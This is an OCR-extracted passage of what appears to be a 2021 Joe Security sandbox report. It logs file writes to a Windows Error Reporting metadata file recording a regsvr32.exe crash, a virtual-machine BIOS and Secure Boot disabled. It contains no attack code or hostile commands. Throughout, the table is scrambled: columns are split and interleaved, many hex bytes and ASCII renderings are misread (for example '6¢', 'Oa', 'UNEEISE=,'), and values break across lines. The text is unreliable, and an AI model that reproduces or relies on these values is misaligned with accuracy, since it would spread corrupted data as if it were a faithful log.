65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 33 00 34 00 34
00 3c 00 2f 00 51 00
75 00 6f 00 74 00 61
00 50 00 65 00 61 00
6b 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 00 61 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 32 00 30 00 30 00
3c 00 2f 00 51 00 75
00 6f 00 74 00 61 00
4e 00 6f 00 6e 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion
<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait 1
d.
P.o.0.lU.s.a.g.e.>.8.3.2.8.
0.
<./.Q.u.o.t.a.P.e.ak.P.a.g.
e.d.P.o.0.l.Uss.a.g.e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait 1
l.U.s.a.g.e.>.7.5.5.3.6.
<./.Q.u.
o.ta.P.a.g.e.d.P.o.0.l.Us.a
.g.e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1
a.
g.e.d.P.o.0l.Us.a.g.e>.7.
3.4.4.
<./.Q.u.o.t.a.P.e.a.k.N.o.
n.P.a.g.e.d.P.o.0.l.Us.a.g.
e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1
P.o.0.l.U.s.a.g.e.>.7.2.0.0.
<.
Q.u.o.t.a.N.o.n.P.a.g.e.d.P.
o.0.l.Us.a.g.e.>.
success or wait 1
success or wait 5

Count Address

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00650066 006900 5.6.7.2.9.6.0.<./.P.a.g.e.f.i.

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 35 00 36 00 37

00 32 00 39 00 36 00

30 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.a.g.ef.ile.U.s. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>5.6.8.1.1.5.2.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.efile.U.s.ag.e.
73 006100670065 >.

00 3e 00 35 00 36 00

3800 31 00 31 00 35

00 32 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.ag.e.>5. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00760061 007400 6.7.2.9.6.0.<./.P.riv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
3500 36 00 37 00 32
00 39 00 36 00 30 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.ro.c.e.s.s.\V.m.l.n.f.o. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.l.nfo.rm. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6f00 63006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0072 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

73 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown

ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 42
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 38
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 62
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 38
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Length Value

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 62 00 6¢ 00 65 00
6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 76 00 65
00 6e 00 74 00 54 00
79 00 70 00 65 00 3e
00 41 00 50 00 50 00
43 005200410053
00 48 00 3c 00 2f 00
45 00 76 00 65 00 6e
00 74 00 54 00 79 00
70 00 65 00 3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 72
00 61 00 6d 00 65 00
7400 6500 72 00 30
00 3e 00 72 00 65 00
67 00 73 00 76 00 72
00 33 00 32 00 2e 00
65 00 78 00 65 00 3c
00 2f 00 50 00 61 00
7200 61 00 6d 00 65
00 74 00 65 00 72 00
30 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 62 00 6¢ 00
65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 44 00 79 00 6e
00 61 00 6d 00 69 00
63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00

0d 00 0a 00

09 00

Ascii

<./.P.ro.c.e.s.s.l.n.f.o.rm.

a.ti.o.n.>.

<.P.ro.b.l.,e.m.S.i.g.n.a.tu.

TE-52

<.E.v.e.ntT.y.p.e>A.P.P.

C.R.AAS.H.
</E.v.entT.y.p.e>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.P.ar.a.m.e.t.e.r.0.>.r.e.g. success or wait

s.v.r.3.2..ex.e</P.ara.

m.e.t.e.r.0.>.

<./.P.r.o.b..e.m.S.i.g.n.a.t.

UNEEISE=,

<.D.y.n.a.m.i.c.S.i.g.n.a.t.u.

TE-52

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

8

16

8

12

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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Offset

unknown 96

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

Length Value

3c 0050 00 61 00 72
00 61 00 6d 00 65 00
7400 6500 72 00 31
00 3e 00 31 00 30 00
2e 00 30 00 2e 00 31
00 37 00 31 00 33 00
34 00 2e 00 32 00 2e
00 30 00 2e 00 30 00
2e 00 32 00 35 00 36
00 2e 00 34 00 38 00
3c 00 2f 00 50 00 61
00 72 00 61 00 6d 00
65 00 74 00 65 00 72
00 31 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 0053007900 73
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 3500 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
430039 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 005300790073
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 75 00
69 00 6b 00 68 00 67
00 64 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72 006500 7200 3e
00

0d 00 0a 00

09 00

Ascii
<.P.aram.e.terl1>10..
0..1.7.1.3.4...2...0...0...2.
5.6..4.8.</P.aram.e.t.e.
r.1.>.

<./.D.y.n.am.i.c.S.i.g.n.a.t.
u.r.e.s.>.

<.S.y.s.te.m.l.nfoorm.a.t.
i.o.n.>.

<M.L.D.>.A2.AB.5.26.A.-
.D.3.8.D.-.4.F.C.9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.I.D.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait

.ur.er>.uikh.gd.,. .l.n
c..<./.S.y.s.te.m.M.a.n.u.f.
ac.ture.r>.

success or wait

success or wait

Count Address

6

1

2

1

1

2

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset Length

unknown 96

unknown 4

unknown 2

unknown 120

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 102

unknown 4

unknown 2

Value

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 75 00 69 00
6b 00 68 00 67 00 64
00 37 00 2¢c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 42 00 49 00 4f
00 53 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00 56 00
4d 00 57 00 37 00 31
00 2e 00 30 00 30 00
56 00 2e 00 31 00 33
00 39 00 38 00 39 00
34 00 3500 34 00 2e
00 42 00 36 00 34 00
2e 00 31 00 39 00 30
00 36 00 31 00 39 00
30 00 3500 33 00 38
00 3c 00 2f 00 42 00
49 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00

0d 00 0a 00

09 00

3c 00 4f 00 53 00 49
00 6e 00 73 00 74 00
61 00 6¢ 00 6¢ 00 44
00 61 00 74 00 65 00
3e 00 31 00 35 00 36
00 37 00 32 00 35 00
39 00 34 00 33 00 35
00 3c 00 2f 00 4f 00
53 00 49 00 6e 00 73
00 74 00 61 00 6¢ 00
6¢ 00 44 00 61 00 74
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 4f 00 53 00 49
00 6e 00 73 00 74 00
61 00 6¢ 00 6¢ 00 54
00 69 00 6d 00 65 00
3e 00 32 00 30 00 31
00 39 00 2d 00 30 00
36 00 2d 00 32 00 37
00 54 00 31 00 34 00
3a 00 34 00 39 00 3a
00 32 00 31 00 5a 00
3c 00 2f 00 4f 00 53
00 49 00 6e 00 73 00
74 00 61 00 6¢ 00 6¢
00 54 00 69 00 6d 00
65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.S.y.s.te.m.P.r.o.d.u.c.t.N
.a.m.e.>.u.i.k.h.g.d.7.,.1.
<.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

<.B.L.O.S.V.e.rs.i.o.n.>.V.
M.
W.7.1...0.0.V...1.3.9.8.9.4.
5.
4..B.6.4..1.9.0.6.1.9.0.5.3
.8.
<./.B.l.O.S.V.e.r.s.i.o.n.>.

<.0.S.lnstallD.ate.>.
1.5.6.7.2.5.9.4.3.5.
<./.0.S.l.
ns.tallD.ate.>.

<.0.S.l.nstallTim.e>.
2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.
9.:.2.1.Z</.0.S.l.n.s.t.al.

. T.im.e.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

70

40

46

3c 00 54 00 69 00 6d
00 65 00 5a 00 6f 00
6e 00 65 00 42 00 69
00 61 00 73 00 3e 00
2d 00 30 00 31 00 3a
00 30 00 30 00 3c 00
2f 00 54 00 69 00 6d
00 65 00 5a 00 6f 00
6e 00 65 00 42 00 69
00 61 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

Ascii
<.T..m.e.Z.o.n.e.B.i.a.s.>.-
.0.1.:.0.0.
<./T..m.e.Z.o.n.e.
B.i.a.s.>.

<./.S.y.s.t.e.m.l.n.f.o.rm.a.
tio.n.>.

<.S.e.c.ure.B.o.0.t.Sta.t.
e.>.

<U.E.F.lL.S.e.cure.B.o.0.t
.E.n.a.b.l.e.d.>.0.
</.U.E.F.L
S.e.c.ur.e.B.o.o.t.E.n.ab.l
e.d.>.

<./.S.e.c.ur.e.B.o.0.t.Sta.
te>.

<.l.nte.g.rato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.
B.<./F.la.g.s.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown 26

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 258

unknown 4

unknown 2

unknown 20

unknown 4

unknown 2

unknown 38

unknown 4

Length Value

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 35 00
2d 00 31 00 32 00 54
00 31 00 31 00 3a 00
33 00 33 00 3a 00 30
00 32 00 5a 00 22 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300370031
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 35 00 31 00 33 00
320022 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 34 00
33 003700 22 00 20
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 6500 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 34 00 33 00 37 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
0020 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
